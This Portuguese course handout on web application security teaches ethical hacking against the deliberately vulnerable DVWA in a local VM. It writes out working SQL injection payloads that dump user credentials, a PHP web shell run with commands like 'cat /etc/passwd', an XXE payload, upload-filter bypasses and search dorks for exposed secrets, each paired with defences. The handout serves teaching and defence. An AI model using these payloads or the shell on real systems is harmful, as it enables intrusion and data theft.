Sobre o Professor

Jean Rafael Tardem Delefrati, programador web a mais de 17 anos. Atualmente

trabalha na GoDaddy, na plataforma de segurança Sucuri. A empresa que eu
trabalhava, Sucuri Security, foi comprada pela GoDaddy em 2017, antes disso era
uma empresa de capital aberto fundada por Daniel Cid (brasileiro, fundador da
OSSEC) e Tony Perez (americano) nos EUA em 2010 e oferece atualmente 3
produtos distintos que servem para a proteção de websites: firewall, limpeza de
websites e monitoramento de websites.

Introdução
O mundo tem se tornado cada vez mais conectado, sistemas que parecem
ser simples cadastros podem estar ligados por uma rede ou uma API a outros
sistemas muito mais complexos e muita da infraestrutura da nossa sociedade pós-
moderna é controlada via software - o sistema financeiro, os sistemas de defesa, de
saúde, de energia, de comunicação entre outros. Algumas vezes, uma falha de
segurança em um sistema aparentemente inócuo pode abrir possibilidades para a
exploração de falhas em sistemas diversos - considerando que algumas pessoas
reutilizam as mesmas senhas, inclusive para emails que são usados para recuperar
senhas ou usar como autenticação em 2 etapas. Até mesmo dados pessoais podem
ser utilizados em opções "esqueci minha senha" ou outros fins desonestos.
Quando ocorre uma brecha de segurança em um sistema, é normal primeiro
se perguntar de quem é a culpa e porque não foi feito nada antes para se evitar o
comprometimento dos dados. O problema é que geralmente, proteger um sistema
nem sempre é algo tão simples quanto instalar um software, envolve várias frentes,
um trabalho contínuo e um esforço conjunto para tornar um sistema o mais seguro
possível. Uma dessas frentes é o desenvolvimento de aplicações web seguindo
princípios de segurança.
O que é uma aplicação web?
De forma geral, são sistemas que são executados em navegadores
(browsers) através da internet na estrutura cliente-servidor.
A área cliente é composta pelo que é executado do lado do navegador (ou
browser). Envolve a interface de usuário (UI), como scripts que rodam diretamente
no navegador (como JavaScript) linguagens de interpretação de folha de estilos
(como CSS) e apresentação de dados em geral.
A área do servidor é a parte geralmente que é processada no servidor web.
Ex: código em PHP, React, Java, Asp.NET etc., assim como a parte de bancos de
dados (geralmente).
A maior parte dos ataques a aplicações web acontecem com mais frequência
na área do servidor (mas também podem acontecer no lado do cliente), ou porque
os programadores deixaram brechas de segurança em seus sistemas (não
validando entradas de usuários, por exemplo) ou por má configuração.

É ilegal explorar sistemas web?

Em primeiro lugar, não é ilegal saber sobre falhas nem explorar as mesmas,
desde que:
● Seja em uma aplicação que você mesmo fez e está testando a segurança da
mesma (inclusive é recomendado que se faça isso);
● Tenha permissão expressa do dono da aplicação;
● Esteja participando de concursos legais de CTF (capture-the-flag);
● Seja em um ambiente próprio para tal;

Por que explorar falhas em sistemas/aplicações web?

Resumindo em uma só palavra: conhecimento. Tanto conhecimento sobre as
falhas e técnicas de exploração, quanto no sentido de aprender melhor como um
sistema específico funciona, dando uma visão ampla e profunda sobre as
funcionalidades. Além disso, a melhor forma de se deixar um sistema mais seguro é
conhecendo quais falhas este sistema tem.
A única maneira de ter verdadeiro conhecimento sobre segurança e como se
proteger de falhas de segurança é através da experiência. A intenção dessa
disciplina não é formar hackers que irão utilizar esses conhecimentos de forma
ilegal, mas preparar os mesmos para que possam saber quais são falhas comuns
que podem ser evitadas e como evitá-las para tornar a internet um lugar mais
seguro.
Além disso, o profissional que saiba explorar falhas de segurança pode
exercer a função de:
● Pentester - profissional contratado e autorizado a encontrar e explorar
vulnerabilidades em empresas e redes;
● Pesquisador de vulnerabilidades - profissional;
● Bug-bounter - várias empresas oferecem programa de recompensas
(bug-bounty) com pagamento em dinheiro para vulnerabilidade em
sistemas próprios, o bugbounter é o profissional liberal que procura por
essas vulnerabilidades com o consentimento da empresa, existem
vários sites com listas de programas de recompensa, como o
Hackerone (https://hackerone.com) e o Bugcrowd
(https://bugcrowd.com).
● Entre outros cargos ligados à área de segurança;
● Programadores, SysAdmins, DBAs e engenheiros de software com
uma base sólida de segurança também são mais visados no mercado
de trabalho.

Como a intenção desse curso é formar hackers éticos e comprometidos com

a segurança, vamos aplicar alguns conceitos de segurança e invasão de sistemas
na prática, para tanto, vamos instalar um sistema próprio para tal. O próximo
capítulo é dedicado a ele.
Damn Vulnerable Web Application
(DVWA)
Para esta disciplina iremos explorar falhas de segurança usando o aplicativo
Damn Vulnerable Web Application, ou DVWA. Esta aplicação foi desenvolvida com
o intuito de ser vulnerável propositalmente para que alunos, professores e
profissionais da área de segurança possam treinar e aprender técnicas de invasão e
código seguro - aprendendo como fazer ataques, identificar e se defender quando
eles acontecerem com aplicações na vida real.
O DVWA roda em PHP com MySQL, pode ser configurado em qualquer
computador que tenha os mesmos instalados, mas jamais deve ser usado em
uma aplicação online onde o servidor possa ter qualquer outro dado ou serviço
que possa ser explorado, pois é uma aplicação propositalmente cheia de problemas
de segurança. Mesmo em redes internas seu uso pode ser perigoso se a porta
do servidor web estiver aberta para acesso externo ou na rede interna (geralmente
a porta é a 80 ou a 8080, mas pode ser outra). O servidor onde esta aplicação for
executado pode ser explorado e inclusive pode perder dados e configurações ou
pode ser usado para escalar privilégios e atacar outras máquinas na mesma rede.
A forma mais segura de se executar o DVWA é em uma máquina virtual
(VirtualBox ou VMWare, por exemplo) com a rede em NAT. A máquina virtual deve
ser desligada sempre que não esteja em utilização.
No exemplo de instalação iremos utilizar a VirtualBox para emular um sistema
Linux Ubuntu com o XAMPP. Poderia ser também utilizado outro sistema
operacional, desde que aceitasse a instalação de um Web Server (Apache, Nginx,
por exemplo), mas a escolha se dá pelos seguintes fatos:
● Simplicidade de instalação de softwares em sistemas Debian;
● Segurança extra de privilégios de sistema (se o usuário não tiver permissão
de root, tem menos chance de quebrar alguma coisa muito séria);
● Baixo consumo de dados e memória (se instalado só o modo texto/linha de
comando);
Instalação
Para tornar mais uniforme a experiência de todos(as) vamos utilizar o
HashiCorp Vagrant (https://www.vagrantup.com/). O Vagrant é uma ferramenta para
gerar e gerenciar máquinas virtuais e com um único script gerará uma máquina
virtual com as mesmas características para todos os alunos.
O primeiro passo é fazer o download do Vagrant para o sistema operacional
que você usa - se seu computador é Windows, faça o download para o Windows, o
mesmo para macOS - mesmo que você queira configurar uma máquina virtual com
o Linux. O download do Vagrant pode ser realizdo no seguinte link:
https://www.vagrantup.com/downloads.html
Após feito o download, instale o Vagrant normalmente como qualquer outro
software para seu computador (execute o arquivo e siga os passos de instalação). O
instalador irá automaticamente adicionar o comando vagrant à sua linha de
comando. Experimente o seguinte comando na linha de comando/terminal:
$ vagrant version

Se o resultado for algo parecido com a seguinte tela, podemos prosseguir:

Se o comando não for reconhecido pode ser necessário fazer logout e login
no seu sistema operacional, ou talvez até fazer um reboot. Se mesmo assim não
conseguir executar o comando, pode ser necessário re-instalar o Vagrant.
Após instalado copie o script do #Anexo 1# e cole em um arquivo de texto
simples.
 Crie uma nova pasta vazia onde ficará sua máquina virtual e salve o arquivo
nesta pasta com o nome Vagrantfile. Você precisará acessar esta pasta pelo
terminal ou linha de comando, portanto, guarde o endereço desta pasta. Depois,
pelo terminal ou linha de comando acesse a pasta com um
$ cd /caminho/da/pasta/que/voce/criou/

E execute o seguinte comando:

$ vagrant up

Isto irá configurar a máquina virtual e mostrar uma série de comandos na

tela. Se precisar logar ao terminal da máquina virtual, utilize SSH1 com o comando:
$ vagrant ssh

Quando dentro da máquina virtual, para sair da sessão do SSH (sem desligar
a máquina virtual) utilize o comando:
$ exit

Terminando a configuração você já pode acessar no seu computador com

qualquer navegador o endereço http://localhost:8080/ e deve receber uma tela como
a seguinte:

1 Secure Shell
 Clique no botão "Create / Reset Database" e as seguintes mensagens devem
aparecer:
 Clique no link "login" e você será redirecionado para a URL
http://localhost:8080/login.php :

Dados padrão para login:

Username: admin
Password: password

Caso tenha algum problema sério e precise recriar a máquina virtual do zero,
utilize os seguintes comandos:
$ vagrant destroy && vagrant up

Se mesmo assim ainda não consiga resolver algum problema e precise

recomeçar toda a instalação de novo, tente parar a máquina virtual com o comando:
$ vagrant destroy

E apague a pasta invisível .vagrant

Importante!
Sempre que terminar seus estudos pare a máquina virtual com o seguinte
comando para evitar que seu computador continue executando uma aplicação
insegura:
$ vagrant halt

Isto irá garantir que a máquina virtual não fique rodando como um processo
de background. Sempre que suspeitar de algum acesso incomum ou de
processamento incomum no seu computador, pare a máquina virtual com o mesmo
comando. Mantenha-se seguro!
Usando a DVWA
As configurações básicas da DVWA ficam no arquivo:
/var/www/html/config/config.inc.php
Existem 4 níveis de desafio para a DVWA: low, medium, high e impossible.
Vamos trabalhar com o nível low, que é o mais básico, representando um sistema
sem nenhuma prática de segurança ativa e que demonstra quão ruim um sistema
pode ser.
É recomendável que se altere o nível de desafio depois de aprendidas as
técnicas básicas e se experimento aplicar alguns dos conhecimentos em outros
níveis de dificuldade. Para se alterar, acesse a página DVWA Security:
Explorando falhas na DVWA
Existem várias formas de se explorar falhas de segurança e vários aplicativos
prontos que reduzem o tempo e deixam mais fácil a exploitabilidade de certas
aplicações. No entanto, a utilização dessas ferramentas por pessoas que não
saibam exatamente o que estão fazendo pode formar hackers2 viciados que apenas
sabem usar ferramentas, sem saber exatamente o que elas fazem. Por isso, esta
disciplina irá mostrar que mesmo com um simples navegador e uma linha de
comando é possível acessar, inserir, modificar e excluir dados de uma aplicação
web de forma não convencional. Assim, espera-se que o aluno possa aprender os
princípios básicos de grandes falhas de segurança.
Todos os exemplos a seguir usarão o Google Chrome Versão 66, no
entanto, outros navegadores modernos podem ser usados, desde que permitam
inspecionar os elementos em tempo real (DOM), visualizações de conexões de
rede, cookies, etc.
Para alguns testes será necessário a utilização de ferramentas na linha de
comando, como cURL e grep. É possível emular algo parecido no sistema
operacional Windows, mas o ideal é utilizar um sistema baseado em Unix (Unix-
like) como Linux ou macOS. Para Windows acima da versão 10, existe a opção de
utilizar o Linux Shell dentro do próprio Windows. Se sua versão é inferior a esta e
você não tem a opção de instalar o sistema operacional no seu HD, considere a
possibilidade de uma máquina virtual ou um live CD.
Depois de explorados e entendidos os conceitos básicos é sugerido que se
aprofunde em aplicações, plugins e sistemas operacionais dedicados à função
hacker. Algumas sugestões:
● Sistema Operacional Kali Linux - que contém uma grande gama de
aplicativos e suíte de aplicativos próprios;
● Suíte de Aplicativos Burp - vêm por padrão com o Kali Linux, mas pode ser
instalado standalone;
● Hackbar - Plugin para navegadores Mozilla;

2Hackers sem conotação negativa, no sentido de indivíduos que utilizam seu conhecimento técnico
para resolver problemas, geralmente problemas de segurança
SQL Injection
Acesse o menu lateral "SQL Injection". Será exibida uma página como a
seguir:

Primeiro vamos verificar o código fonte do arquivo usando o botão View

Source que deve abrir a seguinte URL:
http://localhost:8080/vulnerabilities/view_source.php?id=sqli&security=low.
É possível ver que o código é bem simples, uma variável $id que vem do
formulário $_REQUEST[ 'id' ] e que é utilizada numa variável $query que vai
ser usada para fazer uma consulta ao banco de dados. Como estamos usando o
nível low, não há validações e as funções para usar o banco de dados são
baseadas na versão antiga (já depreciada mas ainda muito utilizada) da extensão
do MySQL para o PHP (funções começando com mysql_). Numa requisição
"normal", a variável $id seria o ID do usuário no banco de dados, ou seja, um
número entre 1 e 5. Voltando ao formulário, vamos primeiro verificar se realmente
uma requisição dessas funciona normalmente. Para isso vamos colocar o valor 1 no
campo User ID:

Ok, funciona. Na prática, o que aconteceu é que a variável $query recebeu o

valor 1 e ficou assim:
SELECT first_name, last_name FROM users WHERE user_id = '1'
A parte em vermelho é o que foi adicionado à query. Depois essa query foi
executada dentro do MySQL e o resultado exibido na tela.
Note que os dados nesse caso foram passados pela URL da página (ou seja,
no formato de Query String):
http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit#
Todos os comandos que vamos executar também vão parar na URL da
página, mas o SQL Injection pode ser passado em formulários em forma de POST,
em cabeçalhos (headers), cookies, da própria URL, JSON, SOAP ou XML - ou
basicamente qualquer tipo de inserção de dados do usuário.
Mas o que acontece quando por exemplo utilizarmos uma aspa simples ' no
campo User ID? A página retorna uma mensagem como essa:
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near ''''' at line 1
O que isso significa? Que a $query está sendo montada da seguinte forma:
SELECT first_name, last_name FROM users WHERE user_id = '''
Note que é como se a aspa simples é executada como parte do comando, o
que gera um erro no MySQL e retorna a mensagem descrita. Nesse caso,
descobrimos que o sistema é vulnerável à uma SQL Injection bem simples. Em
muitos casos um erro não é retornado e somente por tentativa e erro é possível
descobrir se um sistema é vulnerável.
 Sabendo que o sistema é vulnerável, vamos forjar algumas queries que
podem nos trazer dados interessantes. Primeiro, vamos colocar um SQL Injection
básico no campo User ID:
' OR 1='1
A resposta deve ser algo como a seguinte tela:

Isto acontece porque a instrução SQL sendo executada é a seguinte:

SELECT first_name, last_name FROM users WHERE user_id = '' OR
1='1'
Note que a parte em vermelho do comando foi substituída pelo valor que
colocamos no campo nosso campo e que agora o comando SQL diz para o MySQL
procurar por usuários cujo user_id seja em branco OU em qualquer caso em que
1 seja igual a '1', o que sempre vai ser verdade - fazendo com que todos os campos
sejam retornados (1 sempre vai ser igual a '1').
 Para executar comandos mais interessantes, podemos usar o comando
UNION que permite a execução de duas consultas ao banco em uma só query. Só
que para tanto, precisamos primeiro saber quantos campos há na nossa consulta.
Neste caso específico, já sabemos que são dois, mas se não soubéssemos, uma
forma de descobrir é utilizando a ordem da consulta, dessa forma:
' OR 1=1 ORDER BY 1# - deve retornar ok e a SQL executada:
SELECT first_name, last_name FROM users WHERE user_id = '' OR
1=1 ORDER BY 1#'
' OR 1=1 ORDER BY 2# - deve retornar ok e a SQL executada:
SELECT first_name, last_name FROM users WHERE user_id = '' OR
1=1 ORDER BY 2#'
' OR 1=1 ORDER BY 2# - deve retornar o erro:
Unknown column '3' in 'order clause'
Sabendo que temos 2 campos para trabalhar, podemos tentar outro
comando:
' OR 1=1 UNION SELECT NULL, VERSION()#
Neste caso a SQL executada será:
SELECT first_name, last_name FROM users WHERE user_id = '' OR
1=1 UNION SELECT NULL, VERSION()#'
O resultado será o seguinte:
 Note o # próximo ao final do comando, esse é o símbolo de comentário para
o MySQL, o que significa que tudo o que vier depois desse símbolo (como a aspa
simples nesse caso específico) será ignorado.
Outra parte interessante do comando é a palavra chave UNION, que permite
que unamos mais de uma tabela no mesmo comando SQL, mesmo que os campos
sejam diferentes. Neste caso específico, recebemos um valor novo na nossa lista, o
resultado do comando version() no MySQL:
Surname: 5.7.22-0ubuntu0.16.04.1
E se não quisermos que todos os resultados sejam exibidos (que só o
resultado do UNION seja exibido)?
' AND 1=0 UNION SELECT VERSION(), USER()#
Que irá executar como:
SELECT first_name, last_name FROM users WHERE user_id = '' OR
1=0 UNION SELECT VERSION(), USER()#'
Nesse caso, 1 nunca vai ser igual a 0, então a primeira parte do SELECT não
vai retornar nada.

Com esse resultado já sabemos que estamos executando os comandos em

um servidor Ubuntu 16.04 e que o usuário que roda o banco de dados é o root, o
que significa que se conseguirmos executar alguma coisa no servidor terá
permissões de super-usuário.
Interessante, mas vamos fazer algo mais útil, como pegar os dados dos
usuários direto do banco de dados. Como (em teoria) não sabemos os nomes das
colunas que vamos usar, vamos usar a base de dados especial do MySQL chamada
INFORMATION_SCHEMA:
' AND 1=0 UNION SELECT NULL, TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES#
Isso vai resultar em uma lista bem grande de resultados, mas olhando o
resultado podemos ver que há uma tabela com o nome user na base de dados
dvwa. Vamos tentar pegar as colunas dela:
' AND 1=0 UNION SELECT TABLE_SCHEMA, CONCAT(TABLE_NAME,' -
',COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='users'#

Neste caso, usamos o comando CONCAT para descobrir mais de duas

colunas no mesmo campo. Analisando o resultado podemos construir uma SQL que
finalmente vai resultar nos dados da tabela de usuários:
' AND 1=0 UNION SELECT NULL, CONCAT(first_name, ' / ',
last_name, ' / ', user, ' / ', password) FROM users #
 Além deste tipo de injeção para pegar outros dados, há muitas outras coisas
que podem ser executadas em SQL Injection, como apagar, alterar ou inserir dados,
apagar a database inteira ou até mesmo execução de arquivos remotos e upload de
arquivos (por exemplo com SELECT ... INTO OUTFILE).
Mostramos aqui uma única forma de injeção, que é a SQL Injection. Pode-se
imaginar que evitando comandos SQL já estaríamos completamente protegidos, no
entanto é possível executar injeções em bancos de dados NoSQL, ou em
Mapeamentos objeto-relacionais (ORM), Expression Language (EL), Object Graph
Navigation Library (OGNL), serviços de diretório como o LDAP e até comandos do
sistema operacional. Cada um vai ter suas especificidades e pode ter impacto maior
ou menor, mas usam o mesmo conceito: se usa de um código para ser adicionado
ou concatenado a um comando inteiro que é repassado ao interpretador (MySQL,
no exemplo) sem que seja devidamente limpo.
A DVWA ainda tem outra forma de injection, que é a de comandos, que
basicamente funciona injetando comandos que serão executados na shell do
servidor (como se fosse executado diretamente na linha de comando). Funciona da
mesma forma que a SQL Injection, mas ao invés de comandos SQL podemos injetar
comandos bash.

Como se proteger?
Não existe uma solução única para evitar Injections, o ideal é evitar utilizar
interpretadores - para o PHP com MySQL, por exemplo, é possível utilizar a
extensão Mysqli com comandos preparados (prepared statements)
(https://secure.php.net/manual/pt_BR/mysqli.prepare.php), que desde que bem
utilizados evitam a maioria dos problemas de SQL Injection. ORMs (mapeamento
objeto-relacional ou relational object mapping) em geral são mais seguros do que o
uso direto de interpretadores, mas não devem ser a única forma de se proteger, pois
podem conter falhas, o ideal é sempre se proteger de mais de uma forma.
Além disso, nunca se deve confiar nos dados vindos do lado do cliente, não
só em dados de formulário, mas em headers, ou cookies, no endereço dos arquivos
ou qualquer outro dado que venha do client-side. Sempre se deve sanitizar todos os
dados vindos do lado do cliente que forem utilizados, mesmo que sejam cabeçalhos
ou até mesmo a URL acessada pelo cliente. Por exemplo, se você espera por um
número, converta os dados vindos do cliente para números, sempre que possível,
utilize listas-brancas ao invés de listas-negras, ou seja, tenha uma lista do que é
aceito ao invés de tentar bloquear tudo o que não seja aceito, tanto nos caracteres
quanto nos próprios valores das variáveis.
Outra boa opção para evitar Injections é utilizar um Web Application Firewall
(WAF) e um Firewall no seu servidor que vão bloquear ativamente qualquer
requisição que pareça maligna.
Desabilite também mensagens de erros que podem dar dicas de como suas
queries são construídas.
Falha de criptografia
Vamos voltar à SQL Injection na página SQL Injection e pegar o comando
para descobrir os dados dos usuários:
' AND 1=0 UNION SELECT NULL, CONCAT(first_name, ' / ',
last_name, ' / ', user, ' / ', password) FROM users #

Ok, podemos ver que a senha para o usuário 'admin' é

5f4dcc3b5aa765d61d8327deb882cf99. É um valor com 32 caracteres, misturando
números e letras de 0 a 9 e de a a f (provavelmente hexadecimal). Essa é
tipicamente uma hash MD5, um tipo simples de "criptografia"3 de mão-única - ou
seja, que depois de criptografada, não pode ser descriptografada. MD5 sempre
gera uma string com 32 caracteres, não importa o quão longa seja a sequência de
caracteres passadas, pode ser um caractere ou um milhão, sempre o resultado terá
32 caracteres e será um hexadecimal.

3 O algorítimo MD5 na verdade não encripta os dados nem codifica, mas gera uma hash usando um
cálculo com os bits de cada caracter, mas para simplificar a ideia iremos utilizar as expressões
criptografar e descriptografar.
 Se uma hash MD5 não pode ser descriptografada, como um sistema então
sabe que o usuário acertou a senha e não colocou qualquer outra coisa? Simples, o
sistema encripta a senha que o usuário digitou e compara com a senha no banco de
dados, por exemplo, em PHP:
<?php
//...
$senha_digitada = 'batman';
if (md5($senha_digitada)==='ec0e2603172c73a8b644bb9456c1ff6e')
{
echo('nananananananananananananananana);
}
else
{
echo('senha incorreta');
}
//...
?>
O problema é que com apenas 128-bits de entropia, o algorítimo é facilmente
quebrado em um sistema de força-bruta no caso de vazamento de informações.
Outra forma de encontrar a senha é usando uma rainbow table4, uma lista com
hashs pré-processadas, que mesmo que não tenha a mesma sequência de
caracteres pode encontrar colisões de outras hashs iguais. Existem sites com
bilhões de hashs que podem ser consultadas em poucos segundos.
Por exemplo, a hash "5f4dcc3b5aa765d61d8327deb882cf99" que
encontramos no banco de dados como senha do usuário "admin" usando nossa
SQL Injection. Uma simples pesquisa na web por essa hash já nos mostra que essa
senha é "password" (como já sabíamos, pois a usamos para fazer login no painel de
controle), pois essa é uma senha muito comum e facilmente adivinhável.
Existe uma forma de deixar hashes MD5 um pouco mais seguros,
adicionando, por exemplo "sal"5 aos caracteres antes de encriptá-los, mas mesmo
assim, ainda não é recomendável usar MD5 para senhas. O ideal, na verdade, é
além de "salgar" as senhas, usar algoritmos mais seguros como Blowfish.

4 Em inglês, tabela arco-íris

5 Do inglês, "salt", "salgando" ou "temperando" a senha
 Mesmo usando um algoritmo mais seguro seu sistema ainda não estará
totalmente seguro, pois verificar algoritmos de hash pode permitir ataques do tipo
timing attack - ataques que consideram o tempo do processamento para criptografar
uma senha, permitindo que se descubra a senha trocando letra a letra e verificando
o tempo do processamento. Quando um sistema está vulnerável, a cada letra
modificada na senha o tempo de processamento vai ser diferente, sempre que se
acertar uma letra o tempo será menor. Uma forma de se evitar isso é fazendo com
que a validação tenha sempre um tempo constante6.

6Em PHP existe uma API de hash de senha nativa que faz esse cálculo automaticamente além de
usar o algoritimo Blowfish: http://php.net/manual/pt_BR/book.password.php
Exposição de dados sensíveis
No script de instalação da aplicação foram deixadas falhas de segurança
propositais, esta é uma delas:
sudo cp /var/www/html/config/config.inc.php.dist
/var/www/html/config/config.inc.php
Outro problema é uma configuração que permite a exposição de arquivos
quando não há um arquivo índex na pasta. Quando você acessa uma página web
(digamos www.test.com) o servidor web (no nosso caso Apache) automaticamente
procura por alguns arquivos especiais que geralmente começam com o nome
index e tem uma extensão que pode ser .html, .htm, .php, .php5, .jsp, .asp,
.aspx etc. Quando não encontra um desses arquivos, existem geralmente 3
possibilidades: ou o gerenciador da aplicação configura o mesmo para redirecionar
para uma página que pode mostrar ou não um erro, ou o servidor mostra um erro
(geralmente 403 Not Allowed), ou, na instalação padrão do Apache, por exemplo, o
servidor mostra uma página "Index of" com uma lista de todos os arquivos naquela
pasta. Para ver como essa página se parece, acesse:
http://localhost:8080/config/
Será mostrada uma página como essa:

Ao se clicar para abrir o arquivo config.inc.php o servidor pré-processa o

PHP e retorna uma página em branco. Se esta página tiver qualquer PHP que
possa ser executado, ele será executado (mas não é o caso).
 No entanto, utilizamos o comando cp para fazer uma cópia do arquivo
config.inc.php, sem apagar o arquivo config.inc.php.dist - e este arquivo
não é reconhecido pelo servidor como um arquivo PHP, o que permite que o mesmo
seja acessado ou baixado a partir de qualquer navegador, por exemplo. Ao acessar
o seguinte endereço será possível baixar uma cópia do arquivo:
http://localhost:8080/config/config.inc.php.dist
Neste arquivo estará a senha e as chaves privadas da sua aplicação:
 Como buscadores da web como o Google não fazem distinção do que são
arquivos legítimos e o que são arquivos vulneráveis, muitas vezes arquivos como
este ficam disponíveis na web e aparecem em buscas. Há um movimento da própria
Google em tentar reduzir isto nos últimos anos, atualmente, pesquisas
tradicionalmente utilizadas por hackers para encontrar vulnerabilidades têm sido
restritas a partir de algumas consultas e mesmo contas são temporariamente
bloqueadas após algumas consultas. Pesquisas como:
 "index of"
password filetype:bak
filetype:sql
filetype: dist
PRIVATE_KEY filetype:env
Estes tipos de consultas em buscadores como o Google permitem encontrar
vulnerabilidades de dados que deveriam teoricamente ser privados, mas por falta de
atenção, de experiência ou por inconsequência foram deixados em servidores web
abertos ao mundo exterior. Existem muitas outras pesquisas que podem trazer
resultados parecidos, geralmente ligados a arquivos de backup, salva ou formatos
de arquivo que nunca deveriam ser deixados na internet.
No entanto, há um movimento pela própria Google que visa reduzir a
quantidades de falhas divulgadas por engano, bloqueando usuários que fazem
várias consultas como as do exemplo - esteja avisado que realizar este tipo de
consulta não é necessariamente ilegal, mas a exploração das falhas encontradas
sem o consentimento do dono dos websites/aplicações/programas sim. Além disso,
quando uma falha destas é divulgada, é difícil saber quem foi o autor original se o
mesmo está exercendo a função ilegalmente - e usuários que só estavam
realizando pesquisas por curiosidade podem ser acusados injustamente, portanto,
cuidado quando for acessar dados que contenham dados sensíveis.
Mesmo quando não encontramos esses arquivos através de pesquisas da
web, ainda há outros arquivos que podem estar no servidor e dão informações
importantes, como o arquivo robots.txt, que pode demonstrar que existem áreas
administrativas na aplicação, ou arquivos como README.txt, version.txt e
CHANGELOG.md que podem exibir informações sobre versão da aplicação ou dos
componentes dela. Sabendo que se está usando um sistema comum e
desatualizado, facilmente pode se encontrar informações sobre falhas de segurança
para aquela versão específica.
Upload de arquivos inseguros
Uma prática muito comum utilizada por pessoas mal intencionadas é o envio
de arquivos "executáveis" para dentro dos servidores, conhecidos como shell
scripts. A ideia básica é utilizar um formulário de envio de arquivos para enviar
arquivos do tipo PHP, por exemplo, para serem executados dentro do servidor web.
Esses arquivos permitem a execução de basicamente qualquer coisa que o PHP
tem acesso.

Aplicando à DVWA
Vamos preparar uma web shell bem simples. Crie um arquivo de texto em
branco com o seguinte código:
<?php
$cmd = $_GET['cmd'];
echo('<pre>');
echo(@shell_exec($cmd));
echo('</pre>');

Salve o arquivo como shell.php e vamos tentar enviar o mesmo para a

DVWA. No painel da DVWA clique em File Upload:
 No campo "Choose File" selecione o arquivo shell.php que você acabou de
criar e clique em Upload. Como estamos trabalhando no modo "low" não existe
nenhuma segurança e o arquivo será enviado sem problemas. Veja que na própria
mensagem a DVWA nos dá a pasta para onde esse arquivo foi enviado (duas
pastas abaixo da pasta atual, na pasta hackables/uploads). Vamos tentar acessar o
nosso arquivo. No browser abra o endereço:
http://localhost:8080/hackable/uploads/shell.php
Você provavelmente verá uma página em branco, vamos ver o código fonte
da página:

Se não há nenhum PHP aqui, significa que o código foi pré-processado com
sucesso. Vamos tentar colocar um comando no nosso shell. Acesse:
http://localhost:8080/hackable/uploads/shell.php?cmd=ls
 Você deve ver a lista de arquivos na pasta de upload:

Vamos tentar listar arquivos de outra pasta:

http://localhost:8080/hackable/uploads/shell.php?cmd=ls ../../

Ótimo, conseguimos listar os arquivos. Conseguimos pegar conteúdos

também?
http://localhost:8080/hackable/uploads/shell.php?cmd=cat /etc/passwd
 Sem problemas também. E criar arquivos?
http://localhost:8080/hackable/uploads/shell.php?cmd=echo "ola" > ola.txt
http://localhost:8080/hackable/uploads/shell.php?cmd=ls

Ou seja, você tem controle total do servidor, com as mesmas permissões que
o PHP tem. Para saber qual usuário estamos usando, você pode acessar:
http://localhost:8080/hackable/uploads/shell.php?cmd=whoami
No nosso exemplo a resposta será "vagrant", mas em alguns servidores mal
configurados pode acontecer de até ter a permissão de usuário "root".

Segurança em upload de arquivos

Existem várias métodos que devem ser usados em conjunto para se proteger
de um ataque como este. O mais básico e principal é verificar a extensão do arquivo
- mas atenção! Mesmo assim, deve-se sempre usar listas-brancas (whitelists) para
validar as extensões permitidas, ao invés de tentar se proteger de arquivos
inseguros com listas-negras (blacklists). O que isso significa? Imagine a seguinte
situação:
● Um programa que esteja hospedado em um servidor Apache com o módulo
PHP instalado e ativo.
● Sabendo disso o programador decide que deve bloquear todos os arquivos
.php no upload, utilizando um código parecido com este:
<?php
….
if ($extensao == 'php') {
die('Não permitido!');
} else {
//upload e tudo mais
}
?>
● Neste caso, estamos usando uma lista-negra, pois estamos dizendo "quais
extensões de arquivo não queremos"
● Digamos que um atacante saiba disso, ou use uma ferramenta para procurar
por essa vulnerabilidade, o que ele pode fazer é uma das seguintes coisas:
○ Enviar o arquivo com a extensão .PHP, ou .pHP, ou .pHp ou qualquer
outra combinação de maiúsculas/minúsculas - com isso o sistema não
vai bloquear o envio e o Apache vai processar o arquivo como PHP da
mesma forma;
○ Enviar o arquivo com a extensão .php5 ou .phtml - na maioria das
instalações do Apache essas extensões são interpretadas como PHP;
○ Enviar um arquivo do tipo .xml com uma vulnerabilidade do tipo XXE 7,
como o seguinte exemplo:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxeattack SYSTEM "file:///etc/passwd">
]>
<xxx>&xxeattack;</xxx>

7XML External Entities - essa vulnerabilidade tem sido cada vez mais comum, estando atualmente
entre as 10 maiores vulnerabilidades segundo a OWASP
 ○ Enviar arquivos que podem ser danosos para os usuários do site,
como arquivos .html com redirecionamento ou .exe
○ Enviar arquivos que podem ser usados para fazer o bypass8 de
algumas configurações de segurança que só permitem acesso no
mesmo servidor, sendo usados em ataque XSS9, por exemplo;
● Ou seja, nossa segurança estaria comprometida.
Outra opção mais lógica seria usar uma lista branca, por exemplo:
<?php
….
if ($extensao === 'jpg' || $extensao === 'gif') {
//upload e tudo mais
} else {
die('Não permitido!');
}
?>
Dessa forma, o upload só seria permitido caso esteja na nossa lista. Note
também o === que no PHP significa que estamos validando não só o conteúdo de
uma string quanto o tipo da variável. No PHP há basicamente 3 formas de usar o
símbolo =:
1. $variavel = "valor" - define que a variável $variavel receberá tal
valor;
2. $variavel == "valor" - neste caso se usa para verificar se uma variável
é igual a um valor, sem verificar o tipo da variável, em um if/else, por
exemplo;
3. $variavel === "valor" - mesmo que o anterior, mas com validação de
tipo;
Note que na segunda forma, a como não validamos o tipo da variável, o PHP
pode agir de formas estranhas. Por exemplo:
if ($variavel == true) // retorna true, como esperado
if ($variavel == 1) // retorna true, como esperado
if ($variavel == array(0)) // retorna true !?

8 No sentido de contorno, contornar

9 Cross-Site Scripting
if ($variavel == new stdClass()) // retorna true!?
E se verifcarmos com o triplo =:
if ($variavel === true) // retorna true, como esperado
if ($variavel === 1) // retorna false, como esperado
if ($variavel === array(0)) // retorna false, como esperado
if ($variavel === new stdClass()) // retorna false, como
esperado
Ou seja, validamos também o tipo da variável, se não for booleano, retorna
false.
Outros métodos que devem ser utilizados também para validar arquivos
incluem:
● Verificar o nome do arquivo, além da extensão;
● Remover todos os caracteres que não são unicode do nome do arquivo, pois
uma pessoa mal-intencionada pode colocar um caractere nulo (%00), por
exemplo no nome do arquivo antes da extensão e confundir o sistema;
● Remover todo tipo de pontuação extra do nome do arquivo, como: ";", ":", ">",
"<", "/" ,"\", "." (ponto adicional), "*", "%", "$", mantendo só caracteres alfa-
